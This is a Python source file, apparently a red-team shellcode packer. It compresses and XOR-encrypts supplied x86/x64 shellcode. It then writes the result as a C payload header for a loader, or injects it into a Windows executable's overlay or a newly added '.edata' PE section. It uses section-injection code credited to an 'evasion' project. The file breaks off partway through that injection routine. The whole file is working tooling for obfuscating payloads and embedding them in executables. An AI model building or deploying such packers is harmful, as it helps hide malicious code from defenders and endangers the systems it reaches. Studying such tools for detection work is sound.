#!/usr/bin/python3

import re
import os
import sys
import mmap
import struct
import ctypes
import random
import binascii
import argparse
import tempfile

try:
    import pefile
except:
    print('[!] "pefile" module is needed. Install it using: pip3 install pefile')
    sys.exit(1)

VERSION = '0.7'
DEFAULT_PARAMETERS = "-s 1"
NEW_SECTION_NAME = ".edata"

logfile = ''

AlgorithmValueMap = {
    'none' : 0,
    'xor8' : 1,
    'xor32' : 2,
    'aes128' : 3,
    'aes256' : 4,
    'rc4' : 5
}

CompressionValueMap = {
    'none' : 0,
    'xpress' : 1,
    'xpresshuff' : 2,
    'lznt1' : 3,
}

COMPRESSION_FORMAT_NONE        = 0x0000
COMPRESSION_FORMAT_DEFAULT     = 0x0001
COMPRESSION_FORMAT_LZNT1       = 0x0002
COMPRESSION_FORMAT_XPRESS      = 0x0003
COMPRESSION_FORMAT_XPRESS_HUFF = 0x0004
COMPRESSION_ENGINE_STANDARD    = 0x0000
COMPRESSION_ENGINE_MAXIMUM     = 0x0100
COMPRESSION_ENGINE_HIBER       = 0x0200

RtlDecompressBufferEx          = None
RtlGetCompressionWorkSpaceSize = None
RtlCompressBuffer              = None
RtlDecompressBuffer            = None

#
# --------------------------------------
# 
# Source: https://stackoverflow.com/a/61672403

def initPointers(formatstr):
    global RtlDecompressBufferEx
    global RtlGetCompressionWorkSpaceSize
    global RtlCompressBuffer
    global RtlDecompressBuffer

    if formatstr == 'xpresshuff':
        try: 
            RtlDecompressBufferEx = ctypes.windll.ntdll.RtlDecompressBufferEx

        except AttributeError: 
            sys.exit('You must run this script on Windows with version >= 8 to use payload compression via {}.'.format(formatstr))

    RtlGetCompressionWorkSpaceSize = ctypes.windll.ntdll.RtlGetCompressionWorkSpaceSize
    RtlCompressBuffer = ctypes.windll.ntdll.RtlCompressBuffer
    RtlDecompressBuffer = ctypes.windll.ntdll.RtlDecompressBuffer

def compressBuffer(
    UncompressedBuffer, 
    UncompressedBufferSize, 
    Format, 
    Engine
):
    CompressedBuffer = (ctypes.c_ubyte * UncompressedBufferSize)()
    CompressionFormatAndEngine = ctypes.c_uint16(Format | Engine)

    CompressBufferWorkSpaceSize = ctypes.c_ulong()
    CompressFragmentWorkSpaceSize = ctypes.c_ulong()
    FinalCompressedSize = ctypes.c_ulong()
    UncompressedChunkSize = ctypes.c_ulong(4096)
    
    out = RtlGetCompressionWorkSpaceSize(
        CompressionFormatAndEngine,
        ctypes.byref(CompressBufferWorkSpaceSize),
        ctypes.byref(CompressFragmentWorkSpaceSize)
    )

    err = ctypes.c_ulong(out)
    if out != 0:
        info('[!] RtlGetCompressionWorkSpaceSize failed with: 0x{:x}'.format(err.value))
        return (None, ctypes.c_ulong())

    WorkSpace = (CompressBufferWorkSpaceSize.value * ctypes.c_ubyte)()

    out = RtlCompressBuffer(
        CompressionFormatAndEngine,
        ctypes.byref(UncompressedBuffer),
        ctypes.c_ulong(UncompressedBufferSize),
        ctypes.byref(CompressedBuffer),
        ctypes.c_ulong(UncompressedBufferSize),
        UncompressedChunkSize,
        ctypes.byref(FinalCompressedSize),
        ctypes.byref(WorkSpace)
    )

    output = bytearray(CompressedBuffer)[:FinalCompressedSize.value]
    err = ctypes.c_ulong(out)
    if out != 0:
        info('[!] RtlCompressBuffer failed with: 0x{:x}'.format(err.value))
        return (None, ctypes.c_ulong())

    return output, FinalCompressedSize

#def decompressBuffer(
#    CompressedBuffer, 
#    CompressedBufferSize,
#    UncompressedBufferSize, 
#    Format, 
#    Engine
#):
#    UncompressedBuffer = (ctypes.c_ubyte * UncompressedBufferSize)()
#    FinalUncompressedSize = ctypes.c_ulong()
#    CompressionFormatAndEngine = ctypes.c_uint16(Format | Engine)
#    CompressBufferWorkSpaceSize = ctypes.c_ulong()
#    CompressFragmentWorkSpaceSize = ctypes.c_ulong()
#
#    out = RtlGetCompressionWorkSpaceSize(
#        CompressionFormatAndEngine,
#        ctypes.byref(CompressBufferWorkSpaceSize),
#        ctypes.byref(CompressFragmentWorkSpaceSize)
#    )
#
#    err = ctypes.c_ulong(out)
#    if out != 0:
#        info('[!] RtlGetCompressionWorkSpaceSize failed with: 0x{:x}'.format(err.value))
#        return (None, ctypes.c_ulong())
#
#    WorkSpace = (CompressFragmentWorkSpaceSize.value * ctypes.c_ubyte)()
#
#    out = RtlDecompressBufferEx(
#        Format,
#        ctypes.byref(UncompressedBuffer),
#        ctypes.c_ulong(UncompressedBufferSize),
#        ctypes.byref(CompressedBuffer),
#        ctypes.c_ulong(CompressedBufferSize),
#        ctypes.byref(FinalUncompressedSize),
#        ctypes.byref(WorkSpace)
#    )
#
#    err = ctypes.c_ulong(out)
#    if out != 0:
#        info('[!] RtlCompressBuffer failed with: 0x{:x}'.format(err.value))
#        return (None, ctypes.c_ulong())
#
#    return UncompressedBuffer, FinalUncompressedSize

#
# --------------------------------------
#

def hexdump(data, addr = 0, num = 0):
    s = ''
    n = 0
    lines = []
    if num == 0: num = len(data)

    if len(data) == 0:
        return '<empty>'

    for i in range(0, num, 16):
        line = ''
        line += '%04x | ' % (addr + i)
        n += 16

        for j in range(n-16, n):
            if j >= len(data): break
            line += '%02x ' % (data[j] & 0xff)

        line += ' ' * (3 * 16 + 7 - len(line)) + ' | '

        for j in range(n-16, n):
            if j >= len(data): break
            c = data[j] if not (data[j] < 0x20 or data[j] > 0x7e) else '.'
            line += '%c' % c

        lines.append(line)
    return '\n'.join(lines)

def convert_key(s):
    return [ord(c) for c in s]

def info(x):
    if not logfile:
        sys.stderr.write(x + '\n')
    else:
        with open(logfile, 'a') as f:
            f.write(x + '\n')
            f.flush()

def printShellcode(arch86, shellcode):
    sc = '\t'
    i = 0
    for b in shellcode[:-6]:
        if type(b) == str:
            sc += '0x{:02x}, '.format(ord(b))
        else:
            sc += '0x{:02x}, '.format(b)
        i += 1
        if(i % 16 == 0):
            sc += '\n\t'

    infinite_loop = ''
    marker = ''
    for b in shellcode[-6:-4]:
        if type(b) == str:
            infinite_loop += '0x{:02x}, '.format(ord(b))
        else:
            infinite_loop += '0x{:02x}, '.format(b)

    for b in shellcode[-4:]:
        if type(b) == str:
            marker += '0x{:02x}, '.format(ord(b))
        else:
            marker += '0x{:02x}, '.format(b)

    marker = marker.strip()
    marker = marker[:marker.rfind(',')]

    if arch86: 
        f = '''

\t// jmp $ - infinite loop, just in case we get there
\tINFINITE_LOOP_86

\t// Leave below marker as is, it indicates whether decryption key was correct.
\tDECRYPTION_MARKER_86'''
        f = f.replace('INFINITE_LOOP_86', infinite_loop)
        f = f.replace('DECRYPTION_MARKER_86', marker)
        sc += f
    else: 
        f = '''

\t// jmp $ - infinite loop, just in case we get there
\tINFINITE_LOOP_64

\t// Leave below marker as is, it indicates whether decryption key was correct.
\tDECRYPTION_MARKER_64'''
        f = f.replace('INFINITE_LOOP_64', infinite_loop)
        f = f.replace('DECRYPTION_MARKER_64', marker)
        sc += f

    return sc

def printPayload(
    _format, 
    key, 
    algo, 
    compress, 
    params, 
    shellcode86, 
    shellcode64, 
    nonAlignedShellcodeSize86, 
    nonAlignedShellcodeSize64, 
    uncompressedShellcodeSize86,
    uncompressedShellcodeSize64,
    shellcode86info, 
    shellcode64info
):

    shellcode = ''
    nonAlignedShellcodeSize = 0
    uncompressedShellcodeSize = 0
    uncompressedMod = 0

    if shellcode86 and not shellcode64:
        nonAlignedShellcodeSize = nonAlignedShellcodeSize86
        uncompressedShellcodeSize = uncompressedShellcodeSize86 + uncompressedMod

    elif shellcode64 and not shellcode86:
        nonAlignedShellcodeSize = nonAlignedShellcodeSize64
        uncompressedShellcodeSize = uncompressedShellcodeSize64 + uncompressedMod

    if _format != 'header':
        if shellcode86 and not shellcode64:
            shellcode = shellcode86
            info('[.] Picking x86 version of the shellcode (non aligned size: {}, uncompressed: {}).'.format(nonAlignedShellcodeSize, uncompressedShellcodeSize))

        elif shellcode64 and not shellcode86:
            shellcode = shellcode64
            info('[.] Picking x64 version of the shellcode (non aligned size: {}, uncompressed: {}).'.format(nonAlignedShellcodeSize, uncompressedShellcodeSize))

        else:
            shellcode = shellcode64 
            info('[.] Provided both x86 and x64 shellcodes, but will pick only the x64 one.')

    if _format == 'header':
        out = '''#pragma once

#include "commons.h"

using uint8_t = unsigned char;

// You can specify here a default command line for launching hardcoded payload
const char Default_Hardcoded_Payload_Parameters[] = "HARDCODED_PARAMS";

const PayloadEncryption HardcodedEncryptionToUse = PayloadEncryption::HARDCODED_ALGO;
const PayloadCompression HardcodedCompressionToUse = PayloadCompression::HARDCODED_COMPRESS;

uint8_t HardcodedEncryptionKey[4] = {
    HARDCODED_KEY_BYTES
};

#ifndef _WIN64
const size_t HardcodedShellcodeLen = HARDCODED_SHELLCODE86_LEN;
const size_t HardcodedUncompressedShellcodeLen = HARDCODED_UNCOMPRESSED_SHELLCODE86_LEN;
#else
const size_t HardcodedShellcodeLen = HARDCODED_SHELLCODE64_LEN;
const size_t HardcodedUncompressedShellcodeLen = HARDCODED_UNCOMPRESSED_SHELLCODE64_LEN;
#endif

#ifndef _DEBUG
uint8_t HardcodedPayloadBytes[1] = {
#else
uint8_t HardcodedPayloadBytes[] = {
#ifndef _WIN64
\t/* === START x86 === */
SHELLCODE_X86_INFO
HARDCODED_X86_PAYLOAD

\t/* === STOP x86 === */
#else
\t/* === START x64 === */
SHELLCODE_X64_INFO
HARDCODED_X64_PAYLOAD

\t/* === STOP x64 === */
#endif
#endif
};'''

        if params:
            out = out.replace('HARDCODED_PARAMS', params)
            
        if shellcode86 != None and len(shellcode86) > 0:
            sc = printShellcode(True, shellcode86)
            
            if len(shellcode86info):
                finfo = ''
                for k, v in shellcode86info.items():
                    finfo += '\t// {}: {}\r\n'.format(k, v)
                out = out.replace('SHELLCODE_X86_INFO', finfo[:-2])
            else:
                out = out.replace('SHELLCODE_X86_INFO', '')

            out = out.replace('HARDCODED_X86_PAYLOAD', sc)
            out = out.replace('HARDCODED_SHELLCODE86_LEN', str(nonAlignedShellcodeSize86))
            out = out.replace('HARDCODED_UNCOMPRESSED_SHELLCODE86_LEN', str(uncompressedShellcodeSize86 + uncompressedMod))
        else:
            out = out.replace('SHELLCODE_X86_INFO', '')
            out = out.replace('HARDCODED_X86_PAYLOAD', '\t')
            out = out.replace('HARDCODED_SHELLCODE86_LEN', '0')
            out = out.replace('HARDCODED_UNCOMPRESSED_SHELLCODE86_LEN', '0')

        if shellcode64 != None and len(shellcode64) > 0:
            sc = printShellcode(True, shellcode64)

            if len(shellcode64info):
                finfo = ''
                for k, v in shellcode64info.items():
                    finfo += '\t// {}: {}\r\n'.format(k, v)
                out = out.replace('SHELLCODE_X64_INFO', finfo[:-2])
            else:
                out = out.replace('SHELLCODE_X64_INFO', '')

            out = out.replace('HARDCODED_X64_PAYLOAD', sc)
            out = out.replace('HARDCODED_SHELLCODE64_LEN', str(nonAlignedShellcodeSize64))
            out = out.replace('HARDCODED_UNCOMPRESSED_SHELLCODE64_LEN', str(uncompressedShellcodeSize64 + uncompressedMod))
        else:
            out = out.replace('SHELLCODE_X64_INFO', '')
            out = out.replace('HARDCODED_X64_PAYLOAD', '\t')
            out = out.replace('HARDCODED_SHELLCODE64_LEN', '0')
            out = out.replace('HARDCODED_UNCOMPRESSED_SHELLCODE64LEN', '0')

        _key = '\t'
        i = 0
        if type(key) == str and len(key) > 0:
            for k in key:
                _k = k
                if type(k) == str: _k = ord(k)
                _key += '0x{:02x}, '.format(_k)
                i += 1
                if i % 16 == 0:
                    _key += '\r\n\t'
        elif type(key) == int:
            j = 0
            for i in [0, 8, 16, 24]:
                k = (key & (0xff << i)) >> i
                _k = k
                if type(k) == str: _k = ord(k)
                _key += '0x{:02x}, '.format(_k)
                j += 1
                if j % 16 == 0:
                    _key += '\r\n\t'

                if algo == 'xor8' and i == 0: break
        else:
            info('[!] Something was wrong with the key value: "{}"'.format(key))
            sys.exit(1)

        _key = _key.rstrip()
        _key = _key[:-1]
        out = out.replace('HARDCODED_KEY_BYTES', _key)

        _algo = 'NoEncryption'
        if algo == 'xor8': _algo = 'Xor8'
        elif algo == 'xor32': _algo = 'Xor32'
        elif algo == 'rc4': _algo = 'RC4'

        _compress = 'NoCompression'
        if compress == 'xpress': _compress = 'Xpress'
        elif compress == 'xpresshuff': _compress = 'XpressHuffman'
        elif compress == 'lznt1': _compress = 'Lznt1'

        out = out.replace('HARDCODED_ALGO', _algo)
        out = out.replace('HARDCODED_COMPRESS', _compress)
        #out = out.replace('HARDCODED_SHELLCODE_LEN', str(nonAlignedShellcodeSize))
        #out = out.replace('HARDCODED_UNCOMPRESSED_SHELLCODE_LEN', str(uncompressedShellcodeSize))

        out = re.sub(r', $', '', out)

        return out

    elif _format == 'overlay' or _format == 'section' or _format == 'encraw':
        _algo = struct.pack('<B', ctypes.c_ubyte(AlgorithmValueMap[algo.lower()]).value)
        _compress = struct.pack('<B', ctypes.c_ubyte(CompressionValueMap[compress.lower()]).value)
        _key = struct.pack('<I', ctypes.c_uint(key).value)
        _shellcodeLen = struct.pack('<I', nonAlignedShellcodeSize)
        _uncompressedShellcodeLen = struct.pack('<I', uncompressedShellcodeSize)
        prepend = _algo + _compress + _key + _shellcodeLen + _uncompressedShellcodeLen
        out = prepend + shellcode

        info('[.] Algo, key and shellcode lengths ({}, uncompr: {}) prepended bytes:\n{}'.format(
            nonAlignedShellcodeSize, uncompressedShellcodeSize, hexdump(prepend)
        ))

        info('[.] First 48 bytes of appended encoded data:\n{}'.format(
            hexdump(out[:48])
        ))

        return out
    else:
        return shellcode

def xorEncode32(data, key):
    xored = []
    n = len(data) - (len(data) % 4)
    for i in range(0, n, 4):
        val = data[i:i+4]
        num = ctypes.c_uint(((val[3]) << 24) | ((val[2]) << 16) | ((val[1]) << 8) | ((val[0])))
        res = key ^ num.value

        xored.append(str((res & 0xff)))
        xored.append(str((res & 0xff00) >> 8))
        xored.append(str((res & 0xff0000) >> 16))
        xored.append(str((res & 0xff000000) >> 24))

    for i in range(len(data) % 4):
        res = (data[i+n]) ^ (key & 0xff)
        xored.append(str(res))

    out = bytearray([int(x) for x in xored])
    return out

def xorEncode8(data, key):
    xored = []
    for i, byte in enumerate(data):
        xored.append(byte ^ key)
    return bytearray(xored)

def castToInt(val):
    _val = 0
    if type(val) == int: return val
    try:
        _val = int(val, 16)
    except:
        try:
            _val = int(val, 10)
        except Exception as e:
            info('[!] Error: given key could not be casted to integer. Use a valid integer number in dec/hex format.')
            info('[!] Exception: {}'.format(str(e)))
            sys.exit(1)

    if(_val < 256): 
        info('[.] Will use encryption key: 0x{:02x}'.format(_val))
    elif(_val < 2**32-1): 
        info('[.] Will use encryption key: 0x{:08x}'.format(_val))
    return _val

def keyToInt8(key):
    return (castToInt(key) & 0xff)

def keyToInt32(key):
    return (castToInt(key) & 0xffffffff)

def keyToString(key):
    return key

def compressShellcode(compress, data):
    output = None

    if compress == 'none':
        output = data
    else:
        engine = COMPRESSION_ENGINE_MAXIMUM
        #engine = 0
        _format = 0
        if compress == 'xpress': 
            _format = COMPRESSION_FORMAT_XPRESS
        elif compress == 'xpresshuff': 
            _format = COMPRESSION_FORMAT_XPRESS_HUFF
        elif compress == 'lznt1': 
            _format = COMPRESSION_FORMAT_LZNT1
            #engine = COMPRESSION_ENGINE_MAXIMUM

        initPointers(compress)

        compressed = (ctypes.c_ubyte * len(data)).from_buffer_copy(data)
        rawCompressedBuff, finalCompressedSize = compressBuffer(
            compressed, 
            len(data),
            _format,
            engine
        )

        if(finalCompressedSize.value == 0):
            info(f'[!] Could not compress input shellcode bytes using {compress.upper()} algorithm!')
            sys.exit(1)

        output = bytearray(rawCompressedBuff)
        assert len(output) == finalCompressedSize.value, f"Returned compressed buffer's size ({len(output)}) differs from what was declared as finalCompressedSize ({finalCompressedSize.value})!"

    if len(output) == len(data):
        info(f'[.] Shellcode not compressed.')
    else:
        perc = 100.0 * (1.00 - (float(len(output)) / float(len(data))))
        info(f'[+] Shellcode data compressed via {compress.upper()}: size reduced by '
            + f'{perc:.2f}% ({len(data)} => {len(output)} bytes)')

    return output

def encryptShellcode(algo, compress, key, shellcode):
    _shellcode = compressShellcode(compress, shellcode)
    
    info('[.] Shellcode before compression:\n{}'.format(hexdump(shellcode[:16])))
    info('[.] Shellcode after compression:\n{}'.format(hexdump(_shellcode[:16])))

    info('[.] Encoding {} bytes of shellcode and metadata.'.format(len(_shellcode)))
    
    if algo == 'xor8':
        _key = keyToInt8(key)
        return (_key, xorEncode8(_shellcode, _key))
    elif algo == 'xor32':
        _key = keyToInt32(key)
        return (_key, xorEncode32(_shellcode, _key))
    else:
        return (key, _shellcode)

def opts(argv):
    global logfile

    parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')

    parser.add_argument('--x86', type=str, metavar='FILE', help = 'Input shellcode targeted for x86 architectures.')
    parser.add_argument('--x64', type=str, metavar='FILE', help = 'Input shellcode targeted for x64 architectures')

    parser.add_argument('-p', '--parameters', metavar='PARAMS', type=str, default=DEFAULT_PARAMETERS, help = 'Specifies default program launch parameters in case the resulting artefact file was launched with no command line. Default: "{}"'.format(DEFAULT_PARAMETERS))
    parser.add_argument('-l', '--logfile', metavar='FILE', type=str, default='', help = 'Redirect this script\'s output to specified logfile.')
    parser.add_argument('-o', '--output', metavar='FILE', type=str, help = 'Output file for encrypted shellcode or input EXE with overlay attached. Default: stdout')
    parser.add_argument('-f', '--format', default='header', choices=['raw', 'overlay', 'encraw', 'section', 'header'], help = 'Output format for generated shellcode. Can be: "raw" (just a raw binary blob), "header" (payload.h file), "overlay" (packs encoding key, algo and parameters to one blob and appends it to the EXE file\'s overlay if --exe parameter specified. Otherwise just outputs it), "section" (the same as overlay, except it stores encoded payload to the additional PE section), "encraw" (encoded shellcode prepended with Polonium parameters structure). Default: header')
    parser.add_argument('-k', '--key', type=str, help = '(Optional) Encryption key. 1 byte for xor8, 4 bytes for xor32. If not given, will use a random one')
    parser.add_argument('-E', '--exe', type=str, help = '(Optional) Specifies to which file\'s structures append the payload when --format overlay/section was given.')
    parser.add_argument('-e', '--algo', default='xor32', choices=['none', 'xor8', 'xor32', 'rc4'], help = '(Optional) Encryption algorithm to use. One of the: none, xor8, xor32. If "none" given, the shellcode will not be encrypted. Default: xor32')
    #parser.add_argument('-c', '--compress', default='lznt1', choices=['none', 'xpress', 'xpresshuff', 'lznt1'], help = '(Optional) Payload compression algorithm to use. One of the: none, xpress, xpresshuff, lznt1. If "none" given, the shellcode will not be compressed. Default: lznt1')
    parser.add_argument('-c', '--compress', default='lznt1', choices=['none', 'lznt1'], help = '(Optional) Payload compression algorithm to use. One of the: none, lznt1. If "none" given, the shellcode will not be compressed. Default: lznt1')
    
    args = parser.parse_args()

    if len(args.logfile) > 0:
        with open(args.logfile, 'w') as f:
            pass
        logfile = args.logfile

    if not args.x86 and not args.x64:
        info('[!] At least one input shellcode must be specified. Please provide --x86 and/or --x64')
        parser.print_help()
        sys.exit(1)

    if args.x86 and not os.path.isfile(args.x86):
        info('[!] Specified --x86 input shellcode does not exist: "{}"'.format(args.x86))
        sys.exit(1)

    if args.x64 and not os.path.isfile(args.x64):
        info('[!] Specified --x64 input shellcode does not exist: "{}"'.format(args.x64))
        sys.exit(1)

    if args.format in ['overlay', 'section', 'raw', 'encraw'] and (args.x86 and args.x64) and (len(args.x86) > 0 and len(args.x64) > 0):
        info('[!] In overlay, section and raw formats mode, there must be only one input shellcode given, either --x86 or --x64.\nCan\'t go with both.')
        sys.exit(1)

    #if args.format == 'overlay' and ((not args.exe) or (not os.path.isfile(args.exe))):
    #    info('[!] In order to write output shellcode to the exe file\'s overlay, the exe file must be first specified\nusing --exe (and it must exist)'.format(args.x64))
    #    sys.exit(1)

    return args

def randomKey(algo):
    if algo == 'xor8':
        return random.randint(1,255)
    elif algo == 'xor32':
        return random.randint(1,2**32-1)
    else:
        return 0

def readShellcode(name, scfile):
    if not scfile or len(scfile) == 0: return None
    shellcode = ''
    try:
        info('[.] Using input {} shellcode: {}'.format(name, scfile))
        with open(scfile, 'rb') as f:
            shellcode = f.read()
            return shellcode

    except Exception as e:
        info('[!] Could not open the shellcode file: ' + str(e))
        sys.exit(1)

def packParamsToOverlay(params):
    paramslen = struct.pack('<H', len(params))
    strparams = ctypes.c_char_p(params.encode('ascii')).value
    return paramslen + strparams

#
# Source:
#   https://github.com/joxeankoret/tahh/blob/master/evasion/SectionDoubleP.py
#

class SectionDoublePError(Exception):
    pass

class SectionDoubleP:
    def __init__(self, pe):
        self.pe = pe
    
    def __adjust_optional_header(self):
        """ Recalculates the SizeOfImage, SizeOfCode, SizeOfInitializedData and
            SizeOfUninitializedData of the optional header.
        """
        
        # SizeOfImage = ((VirtualAddress + VirtualSize) of the new last section)
        self.pe.OPTIONAL_HEADER.SizeOfImage = (self.pe.sections[-1].VirtualAddress + 
                                                self.pe.sections[-1].Misc_VirtualSize)
        
        self.pe.OPTIONAL_HEADER.SizeOfCode = 0
        self.pe.OPTIONAL_HEADER.SizeOfInitializedData = 0
        self.pe.OPTIONAL_HEADER.SizeOfUninitializedData = 0
        
        # Recalculating the sizes by iterating over every section and checking if
        # the appropriate characteristics are set.
        for section in self.pe.sections:
            if section.Characteristics & 0x00000020:
                # Section contains code.
                self.pe.OPTIONAL_HEADER.SizeOfCode += section.SizeOfRawData
            if section.Characteristics & 0x00000040:
                # Section contains initialized data.
                self.pe.OPTIONAL_HEADER.SizeOfInitializedData += section.SizeOfRawData
            if section.Characteristics & 0x00000080:
                # Section contains uninitialized data.
                self.pe.OPTIONAL_HEADER.SizeOfUninitializedData += section.SizeOfRawData
    
    def __add_header_space(self):
        """ To make space for a new section header a buffer filled with nulls is added at the
            end of the headers. The buffer has the size of one file alignment.
            The data between the last section header and the end of the headers is copied to 
            the new space (everything moved by the size of one file alignment). If any data
            directory entry points to the moved data the pointer is adjusted.
        """
        
        FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment
        SizeOfHeaders = self.pe.OPTIONAL_HEADER.SizeOfHeaders
        
        data = b'\x00' * FileAlignment
        
        # Adding the null buffer.
        self.pe.__data__ = (self.pe.__data__[:SizeOfHeaders] + data + 
                            self.pe.__data__[SizeOfHeaders:])
        
        section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 
                        self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader)
        
        # Copying the data between the last section header and SizeOfHeaders to the newly allocated
        # space.
        new_section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections*0x28
        size = SizeOfHeaders - new_section_offset
        data = self.pe.get_data(new_section_offset, size)
        self.pe.set_bytes_at_offset(new_section_offset + FileAlignment, data)
        
        # Filling the space, from which the data was copied from, with NULLs.
        self.pe.set_bytes_at_offset(new_section_offset, b'\x00' * FileAlignment)
        
        data_directory_offset = section_table_offset - self.pe.OPTIONAL_HEADER.NumberOfRvaAndSizes * 0x8
        
        # Checking data directories if anything points to the space between the last section header
        # and the former SizeOfHeaders. If that's the case the pointer is increased by FileAlignment.
        for data_offset in range(data_directory_offset, section_table_offset, 0x8):
            data_rva = self.pe.get_dword_from_offset(data_offset)
            
            if new_section_offset <= data_rva and data_rva < SizeOfHeaders:
                self.pe.set_dword_at_offset(data_offset, data_rva + FileAlignment)
        
        SizeOfHeaders_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 
                        self.pe.FILE_HEADER.sizeof() + 0x3C)
        
        # Adjusting the SizeOfHeaders value.
        self.pe.set_dword_at_offset(SizeOfHeaders_offset, SizeOfHeaders + FileAlignment)
        
        section_raw_address_offset = section_table_offset + 0x14
        
        # The raw addresses of the sections are adjusted.
        for section in self.pe.sections:
            if section.PointerToRawData != 0:
                self.pe.set_dword_at_offset(section_raw_address_offset, section.PointerToRawData+FileAlignment)
            
            section_raw_address_offset += 0x28
        
        # All changes in this method were made to the raw data (__data__). To make these changes
        # accessbile in self.pe __data__ has to be parsed again. Since a new pefile is parsed during
        # the init method, the easiest way is to replace self.pe with a new pefile based on __data__
        # of the old self.pe.
        self.pe = pefile.PE(data=self.pe.__data__)
    
    def __is_null_data(self, data):
        """ Checks if the given data contains just null bytes.
        """
        
        for char in data:
            if char != b'\x00':
                return False
        return True
    
    def pop_back(self):
        """ Removes the last section of the section table.
            Deletes the section header in the section table, the data of the section in the file,
            pops the last section in the sections list of pefile and adjusts the sizes in the
            optional header.
        """
        
        # Checking if there are any sections to pop.
        if (    self.pe.FILE_HEADER.NumberOfSections > 0
            and self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections)):
            
            # Stripping the data of the section from the file.
            if self.pe.sections[-1].SizeOfRawData != 0:
                self.pe.__data__ = (self.pe.__data__[:self.pe.sections[-1].PointerToRawData] + \
                                    self.pe.__data__[self.pe.sections[-1].PointerToRawData + \
                                                        self.pe.sections[-1].SizeOfRawData:])
            
            # Overwriting the section header in the binary with nulls.
            # Getting the address of the section table and manually overwriting
            # the header with nulls unfortunally didn't work out.
            self.pe.sections[-1].Name = b'\x00'*8
            self.pe.sections[-1].Misc_VirtualSize = 0x00000000
            self.pe.sections[-1].VirtualAddress = 0x00000000
            self.pe.sections[-1].SizeOfRawData = 0x00000000
            self.pe.sections[-1].PointerToRawData = 0x00000000
            self.pe.sections[-1].PointerToRelocations = 0x00000000
            self.pe.sections[-1].PointerToLinenumbers = 0x00000000
            self.pe.sections[-1].NumberOfRelocations = 0x0000
            self.pe.sections[-1].NumberOfLinenumbers = 0x0000
            self.pe.sections[-1].Characteristics = 0x00000000
            
            self.pe.sections.pop()
            self.pe.FILE_HEADER.NumberOfSections -=1

            section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 
                self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader)
            self.pe.parse_sections(section_table_offset)

            assert len(self.pe.sections) == self.pe.FILE_HEADER.NumberOfSections
            
            self.__adjust_optional_header()
        else:
            raise SectionDoublePError("There's no section to pop.")
    
    def push_back(self, Name=b".NewSec", VirtualSize=0x00000000, VirtualAddress=0x00000000, 
                RawSize=0x00000000, RawAddress=0x00000000, RelocAddress=0x00000000, 
                Linenumbers=0x00000000, RelocationsNumber=0x0000, LinenumbersNumber=0x0000,
                Characteristics=0xE00000E0, Data=b""):
        """ Adds the section, specified by the functions parameters, at the end of the section
            table.
            If the space to add an additional section header is insufficient, a buffer is inserted
            after SizeOfHeaders. Data between the last section header and the end of SizeOfHeaders
            is copied to +1 FileAlignment. Data directory entries pointing to this data are fixed.
            
            A call with no parameters creates the same section header as LordPE does. But for the
            binary to be executable without errors a VirtualSize > 0 has to be set.
            
            If a RawSize > 0 is set or Data is given the data gets aligned to the FileAlignment and
            is attached at the end of the file.
        """
        
        if self.pe.FILE_HEADER.NumberOfSections == len(self.pe.sections):
            
            FileAlignment = self.pe.OPTIONAL_HEADER.FileAlignment
            SectionAlignment = self.pe.OPTIONAL_HEADER.SectionAlignment
            
            if len(Name) > 8:
                raise SectionDoublePError("The name is too long for a section.")
            
            if (    VirtualAddress < (self.pe.sections[-1].Misc_VirtualSize + 
                                        self.pe.sections[-1].VirtualAddress)
                or  VirtualAddress % SectionAlignment != 0):
                
                if (self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) != 0:
                    VirtualAddress =    \
                        (self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize - 
                        (self.pe.sections[-1].Misc_VirtualSize % SectionAlignment) + SectionAlignment)
                else:
                    VirtualAddress =    \
                        (self.pe.sections[-1].VirtualAddress + self.pe.sections[-1].Misc_VirtualSize)
            
            if VirtualSize < len(Data):
                VirtualSize = len(Data)
            
            if (len(Data) % FileAlignment) != 0:
                # Padding the data of the section.
                Data += b'\x00' * (FileAlignment - (len(Data) % FileAlignment))
            
            if RawSize != len(Data):
                if (    RawSize > len(Data)
                    and (RawSize % FileAlignment) == 0):
                    Data += b'\x00' * (RawSize - (len(Data) % RawSize))
                else:
                    RawSize = len(Data)
            
            section_table_offset = (self.pe.DOS_HEADER.e_lfanew + 4 + 
                self.pe.FILE_HEADER.sizeof() + self.pe.FILE_HEADER.SizeOfOptionalHeader)
            
            # If the new section header exceeds the SizeOfHeaders there won't be enough space
            # for an additional section header. Besides that it's checked if the 0x28 bytes
            # (size of one section header) after the last current section header are filled
            # with nulls/ are free to use.
            if (        self.pe.OPTIONAL_HEADER.SizeOfHeaders < 
                        section_table_offset + (self.pe.FILE_HEADER.NumberOfSections+1)*0x28
                or not self.__is_null_data(self.pe.get_data(section_table_offset + 
                        (self.pe.FILE_HEADER.NumberOfSections)*0x28, 0x28))):
                
                # Checking if more space can be added.
                if self.pe.OPTIONAL_HEADER.SizeOfHeaders < self.pe.sections[0].VirtualAddress:
                    
                    self.__add_header_space()
                    info("[.] Additional space to add a new section header was allocated.")
                else:
                    raise SectionDoublePError("No more space can be added for the section header.")
            
            
            # The validity check of RawAddress is done after space for a new section header may
            # have been added because if space had been added the PointerToRawData of the previous
            # section would have changed.
            if (RawAddress != (self.pe.sections[-1].PointerToRawData + 
                                    self.pe.sections[-1].SizeOfRawData)):
                    RawAddress =     \
                        (self.pe.sections[-1].PointerToRawData + self.pe.sections[-1].SizeOfRawData)
            
            
            # Appending the data of the new section to the file.
            if len(Data) > 0:
                self.pe.__data__ = (self.pe.__data__[:RawAddress] + Data + \
                                    self.pe.__data__[RawAddress:])
            
            section_offset = section_table_offset + self.pe.FILE_HEADER.NumberOfSections*0x28
            
            # Manually writing the data of the section header to the file.
            self.pe.set_bytes_at_offset(section_offset, Name)
            self.pe.set_dword_at_offset(section_offset+0x08, VirtualSize)
            self.pe.set_dword_at_offset(section_offset+0x0C, VirtualAddress)
            self.pe.set_dword_at_offset(section_offset+0x10, RawSize)
            self.pe.set_dword_at_offset(section_offset+0x14, RawAddress)
